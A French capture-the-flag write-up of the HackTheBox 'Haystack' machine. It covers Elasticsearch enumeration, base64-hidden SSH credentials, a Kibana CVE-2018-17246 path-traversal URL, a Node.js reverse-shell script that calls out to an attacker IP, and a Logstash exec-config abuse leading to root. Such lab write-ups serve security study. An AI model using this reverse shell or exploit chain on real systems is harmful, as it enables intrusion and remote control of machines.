HackTheBox - Haystack
RetourLe résultat du scan Nmap :
root@kali:~/haystack# cat report.nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 10:16 CEST
Nmap scan report for 10.10.10.115
Host is up (0.033s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.83 seconds
Le port 9200 fait penser à un elasticsearch :
root@kali:~/haystack# curl http://10.10.10.115:9200
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}
Faisons plus de recherches :
root@kali:~/haystack# grep -v 400 PORT9200.DIRECTORY
200 338B http://10.10.10.115:9200/quotes/
200 1010B http://10.10.10.115:9200/bank/
200 2B http://10.10.10.115:9200/%2Acheckout%2A.php
200 2B http://10.10.10.115:9200/%2Acheckout%2A/
200 2B http://10.10.10.115:9200/%2Adocroot%2A.php
200 2B http://10.10.10.115:9200/%2Adocroot%2A/
200 2B http://10.10.10.115:9200/%2A.php
200 4KB http://10.10.10.115:9200/%2A/
200 2B http://10.10.10.115:9200/%2A%2Ahttp%3a.php
200 2B http://10.10.10.115:9200/%2A%2Ahttp%3a/
200 2B http://10.10.10.115:9200/%2Ahttp%3A.php
200 2B http://10.10.10.115:9200/%2Ahttp%3A/
200 2B http://10.10.10.115:9200/%2A%2Ahttp%3A.php
200 2B http://10.10.10.115:9200/%2A%2Ahttp%3A/
200 2B http://10.10.10.115:9200/%2A%2Ahttp%3A%2F%2Fwww/
200 2B http://10.10.10.115:9200/%2A%2Ahttp%3A%2F%2Fwww.php
200 2B http://10.10.10.115:9200/devinmoore%2A.php
200 2B http://10.10.10.115:9200/devinmoore%2A/
200 2B http://10.10.10.115:9200/200109%2A.php
200 2B http://10.10.10.115:9200/200109%2A/
200 2B http://10.10.10.115:9200/%2Asa_.php
200 2B http://10.10.10.115:9200/%2Asa_/
200 2B http://10.10.10.115:9200/%2Adc_.php
200 2B http://10.10.10.115:9200/%2Adc_/
Deux indexes intéressants :
- quotes
- bank
Le reste n’est que du faux positif sans contenu. Tentons de dumper les deux index :
root@kali:~/haystack# curl http://10.10.10.115:9200/quotes/_search?pretty
{
"took": 71,
"timed_out": false,
"_shards": {
"total": 5,
"successful": 5,
"skipped": 0,
"failed": 0
},
"hits": {
"total": 253,
"max_score": 1,
"hits": [
{
"_index": "quotes",
"_type": "quote",
"_id": "14",
"_score": 1,
"_source": {
"quote": "En América se desarrollaron importantes civilizaciones, como Caral (la civilización más antigua de América, la cual se desarrolló en la zona central de Perú), los anasazi, los indios pueblo, quimbaya, nazca, chimú, chavín, paracas, moche, huari, lima, zapoteca, mixteca, totonaca, tolteca, olmeca y chibcha, y las avanzadas civilizaciones correspondientes a los imperios de Teotihuacan, Tiahuanaco, maya, azteca e inca, entre muchos otros."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "19",
"_score": 1,
"_source": {
"quote": "Imperios español y portugués en 1790."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "22",
"_score": 1,
"_source": {
"quote": "También se instalaron en América del Sur repúblicas de pueblos de origen africano que lograron huir de la esclavitud a la que habían sido reducidos por los portugueses, como el Quilombo de los Palmares o el Quilombo de Macaco."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "24",
"_score": 1,
"_source": {
"quote": "En 1804, los esclavos de origen africano de Haití se sublevaron contra los colonos franceses, declarando la independencia de este país y creando el primer estado moderno con gobernantes afroamericanos."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "25",
"_score": 1,
"_source": {
"quote": "A partir de 1809,23 los pueblos bajo dominio de España llevaron adelante una Guerra de Independencia Hispanoamericana, de alcance continental, que llevó, luego de complejos procesos, al surgimiento de varias naciones: Argentina, Bolivia, Colombia, Costa Rica, Panamá, Chile, Ecuador, El Salvador, Guatemala, Honduras, México, Nicaragua, Paraguay, Perú, Uruguay y Venezuela. En 1844 y 1898 el proceso se completaría con la independencia de República Dominicana y Cuba, respectivamente."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "26",
"_score": 1,
"_source": {
"quote": "En 1816, se conformó un enorme estado independiente sudamericano, denominado Gran Colombia, y que abarcó los territorios de los actuales Panamá, Colombia, Venezuela y Ecuador y zonas de Brasil, Costa Rica, Guyana, Honduras, Nicaragua y Perú. La República se disolvió en 1830."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "29",
"_score": 1,
"_source": {
"quote": "Tras su emancipación los países de América han seguido un desarrollo dispar entre sí. Durante el siglo XIX, Estados Unidos se afianzó como una potencia de carácter mundial y reemplazó a Europa como poder dominante en la región."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "40",
"_score": 1,
"_source": {
"quote": "En América Central, los ríos son cortos y corresponden principalmente a la vertiente atlántica. Estos ríos cumplen varias funciones, sirviendo incluso como fronteras; tal es el caso de los ríos Segovia o Coco (entre Honduras y Nicaragua), el río Lempa (Guatemala, El Salvador y Honduras) y el río San Juan (entre Costa Rica y Nicaragua). En esta zona, los lagos también son de menor extensión, destacando los lagos Nicaragua, Managua y Gatún, este último, construido por el hombre, ubicado en el Canal de Panamá, al cual le proporciona el agua necesaria para que los barcos salven las diferencias de nivel."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "41",
"_score": 1,
"_source": {
"quote": "Ya en América del Sur, reaparece la vertiente del Pacífico, aun cuando los ríos de la vertiente del Atlántico son más largos e importantes. Destacan en la parte sur del continente los ríos Orinoco, el sistema Paraná-Río de la Plata y el Amazonas. El río Amazonas es el río más caudaloso y más largo del mundo, y forma la cuenca hidrográfica más grande del planeta. Dentro de los lagos más importantes de América del Sur se cuenta con el lago de Maracaibo, el Titicaca, el Poopó y el Buenos Aires/General Carrera."
}
},
{
"_index": "quotes",
"_type": "quote",
"_id": "44",
"_score": 1,
"_source": {
"quote": "En cuanto a la flora de América del Norte, espacio en el cual se encuentran los Estados Unidos, Canadá y México, podemos encontrar pino, caoba, cedro, conifera, cactus, agave, en fin, más de 17 000 especies de plantas vasculares y más de 1,800 especies de plantas con flores.2525"
}
}
]
}
}
Sur le port 80, une image d’aiguille dans du foin. Analysons-la de manière assez basique :
root@kali:~# strings needle.jpg
....
....
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
A la fin, nous trouvons ce qui semble être une chaîne codée en base64 :
root@kali:~# echo -e "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d && echo
la aguja en el pajar es "clave"
Exécutons-nous :
root@kali:~# curl "http://10.10.10.115:9200/_all/_search?q=clave&pretty"
{
"took" : 91,
"timed_out" : false,
"_shards" : {
"total" : 11,
"successful" : 11,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : 2,
"max_score" : 5.9335938,
"hits" : [
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "45",
"_score" : 5.9335938,
"_source" : {
"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
}
},
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "111",
"_score" : 5.3459888,
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
}
}
]
}
}
Nous trouvons deux clés encodée en Base64 :
dXNlcjogc2VjdXJpdHkg
traduit paruser: security
cGFzczogc3BhbmlzaC5pcy5rZXk=
traduit parpass: spanish.is.key
Sachant que seule le port SSH propose une authentification, essayons :
root@kali:~# ssh security@10.10.10.115
The authenticity of host '10.10.10.115 (10.10.10.115)' can't be established.
ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.115' (ECDSA) to the list of known hosts.
security@10.10.10.115's password:
Last login: Sun Jul 7 10:34:12 2019 from 10.10.16.25
[security@haystack ~]$ ls
user.txt
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
Privesc
Version de Linux + distribution utilisée :
[security@haystack ~]$ uname -a
Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[security@haystack ~]$ cat /etc/*-release
CentOS Linux release 7.6.1810 (Core)
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
CentOS Linux release 7.6.1810 (Core)
CentOS Linux release 7.6.1810 (Core)
Voyons ce qui écoute sur le serveur :
[security@haystack ~]$ ss -4laputen
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.1:323 *:* ino:34106 sk:ffff9b1b36f30cc0 <->
tcp LISTEN 0 128 *:80 *:* ino:38140 sk:ffff9b1aac2f07c0 <->
tcp LISTEN 0 128 *:9200 *:* ino:38139 sk:ffff9b1aac2f0f80 <->
tcp LISTEN 0 128 *:22 *:* ino:37994 sk:ffff9b1aac2f0000 <->
tcp LISTEN 0 128 127.0.0.1:5601 *:* uid:994 ino:38759 sk:ffff9b1aac2f2e80 <->
tcp ESTAB 0 0 127.0.0.1:47164 127.0.0.1:9200 timer:(keepalive,112ms,0) uid:994 ino:118072 sk:ffff9b1aac2f1f00 <->
tcp ESTAB 0 0 127.0.0.1:5601 127.0.0.1:40284 uid:994 ino:117538 sk:ffff9b1a5939cd80 <->
tcp ESTAB 0 0 127.0.0.1:9200 127.0.0.1:39920 uid:995 ino:110251 sk:ffff9b1aac2f3640 <->
tcp ESTAB 0 0 127.0.0.1:40284 127.0.0.1:5601 uid:1000 ino:117537 sk:ffff9b1a593987c0 <->
tcp ESTAB 0 0 127.0.0.1:9200 127.0.0.1:47164 uid:995 ino:118073 sk:ffff9b1aac2f6c80 <->
tcp ESTAB 0 0 127.0.0.1:9200 127.0.0.1:45202 uid:995 ino:115751 sk:ffff9b1a5939c5c0 <->
tcp ESTAB 0 0 127.0.0.1:47288 127.0.0.1:9200 timer:(keepalive,110ms,0) uid:994 ino:118197 sk:ffff9b1aac2f64c0 <->
tcp ESTAB 0 0 127.0.0.1:9200 127.0.0.1:46782 uid:995 ino:117673 sk:ffff9b1a5939ae80 <->
tcp ESTAB 0 36 10.10.10.115:22 10.10.16.25:44444 timer:(on,224ms,0) ino:109734 sk:ffff9b1b324dd540 <->
tcp TIME-WAIT 0 0 127.0.0.1:33110 127.0.0.1:9000 timer:(timewait,39sec,0) ino:0 sk:ffff9b1a59035000
tcp TIME-WAIT 0 0 127.0.0.1:9200 127.0.0.1:46456 timer:(timewait,21sec,0) ino:0 sk:ffff9b1a59034600
tcp TIME-WAIT 0 0 127.0.0.1:33184 127.0.0.1:9000 timer:(timewait,51sec,0) ino:0 sk:ffff9b1a59034f00
tcp ESTAB 0 0 127.0.0.1:45202 127.0.0.1:9200 timer:(keepalive,1min8sec,0) uid:994 ino:115750 sk:ffff9b1a5939b640 <->
tcp ESTAB 0 0 127.0.0.1:9200 127.0.0.1:45040 uid:995 ino:115565 sk:ffff9b1aac2f45c0 <->
tcp ESTAB 0 0 127.0.0.1:39920 127.0.0.1:9200 timer:(keepalive,55sec,0) uid:994 ino:110250 sk:ffff9b1aac2f3e00 <->
tcp TIME-WAIT 0 0 127.0.0.1:9200 127.0.0.1:46578 timer:(timewait,41sec,0) ino:0 sk:ffff9b1a59034b00
tcp TIME-WAIT 0 0 127.0.0.1:33000 127.0.0.1:9000 timer:(timewait,21sec,0) ino:0 sk:ffff9b1a59035100
tcp ESTAB 0 0 127.0.0.1:9200 127.0.0.1:47288 uid:995 ino:118198 sk:ffff9b1aac2f7440 <->
tcp ESTAB 0 0 127.0.0.1:45040 127.0.0.1:9200 timer:(keepalive,1min13sec,0) uid:994 ino:115564 sk:ffff9b1aac2f26c0 <->
tcp ESTAB 0 0 127.0.0.1:46782
Nous savons que Kibana tourne sur la machine en localhost. Lançons un tunnel SSH pour rediriger le port vers notre machine :
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115
En ouvrant le port 5601 sur un navigateur nous trouvons bien kibana version 6.4.2. Il est donc sensible a la CVE-2018-17246.
Créons un shell en javascript sur le serveur via l’utilisateur security :
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8000, "10.10.14.65", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Dans mon cas il se situe dans /tmp/shell.js
Maintenant appelons cette URL :
127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js
Depuis netcat, nous sommes bien sur la machine avec l’utilisateur kibana :
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.115] 35126
whoami
kibana
Note : En cas de perte du shell, renommer le !
Maintenant, nous allons faire un tour dans les fichiers de paramètres de logstash :
cat /etc/logstash/conf.d/filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
cat /etc/logstash/conf.d/input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
cat /etc/logstash/conf.d/output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
Ce que nous disent ces trois fichiers de configuration, c’est qu’un log contenant une certaine syntaxe peut être exécuté par la stack ELK.
Voici la syntaxe qui va trigger le grok :
echo "Ejecutar comando : /tmp/pyshell.py"> /opt/kibana/logstash_toto
Le contenus de /opt/kibana/logstash_*
est lus puis s’il remplit le prérequis de syntaxe du grok , il est exécuté.
root@kali:~# nc -lvp 6666
listening on [any] 6666 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.115] 39302
sh-4.2# id
id
uid=0(root) gid=0(root) grupos=0(root)
sh-4.2# cat /root/root.txt
cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92
Sources
Github for CVE-2018-17246
https://github.com/buffered4ever/Exploits/tree/master/cve-2018-17246
Writeup for CVE-2018-17246
https://github.com/mpgn/CVE-2018-17246
Github for webshell.js
https://github.com/buffered4ever/Exploits/tree/master/cve-2018-17246
Retour